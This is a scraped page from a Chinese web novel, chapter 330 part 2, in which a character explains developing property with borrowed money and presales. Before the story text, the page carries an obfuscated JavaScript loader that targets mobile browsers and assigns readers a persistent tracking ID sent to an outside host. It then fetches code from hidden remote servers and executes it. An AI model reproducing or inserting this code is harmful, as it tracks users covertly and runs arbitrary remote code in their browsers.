足迹
林辰东奔西顾是哪部小说的主角
登录
关灯
护眼
字体:

第三百三十章 继续开发(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

现场的人虽然大多都是高材生,也大多都见过世面。

可他们还是觉得,这种分期的方式不太稳妥,一个搞不好,就会导致资金链断裂,从而让公司走向万劫不复的地步。

王继东此话一出,众人隐约间都有些不安。

其实,王继东的这种行为,属于一种杠杆行为。

这种用杠杆开发房地产的方式,对于这个年代的商人来说,显得有些无法接受。

毕竟,这么做的风险实在太大了,一个不小心,就会把把公司折腾进去。

一旦楼盘烂尾,甚至还有可能让自己背负上几千万,甚至上亿的债务。

可对于后世的商人来说,这种杠杆的方式,确是一种司空见惯的运营手段。

后世的衡大,包括萬达等大型地产公司,都是运用这种杠杆的方式,让自己的地产公司壮大的。

不然的话,衡大也不可能在21世纪的时候,因为国家政策的调控而负债万亿。

杠杆这个东西,甚至比赌博还要疯狂。

赌赢了,可以从草根逆袭成大富豪。

可如果赌输了,立马就会负债千万,甚至上亿。

其实,这种后世的房地产操作方式也简单。

后世的那些地产公司,大多都只是皮包公司,它们只需几万的启动资金,就可以开一家房地产公司了。

当你要做房地产的时候,只需要缴纳几万,或者几十万的拍地保证金,你就可以拍到一块地。

至于土地出让金,可以按照月份,分几年来还,实在还不上,先欠两三个月也没什么大问题。

紧接着,再找设计师买好楼盘图纸,找相关部门申请好证书,就可以动工了。

再然后,便是预售环节了。

如果房子预售的好,便能在小区没开建之前,回流一部分资金。

到时候,在用这部分回流的资金,付材料费、人工费、土地费就可以了。

也就是说,房地产公司几乎不用花钱,就可以实现高额盈利。

同样的,这也会面临负债的巨大风险。

因为,一旦房子卖不动,公司就会因为资金周转不开而背负高额的债务。

至于王继东,他用杠杆来做房地产,要更简单一些。

他手下的施工团队和设计团队都是比较成熟的团队。

最主要的是,臣汤一品的名声也已经在香江这边打响了。

更重要的是,王继东熟知深川的发展历史,他拿下来的地,都是深川未来最好的地段,是深川未来绝对的商业中心。

好地段的房子,怎么都不愁卖。

他的口碑好,房子的地段更好。

他占据着天时地利人和,根本不知道自己要怎么输。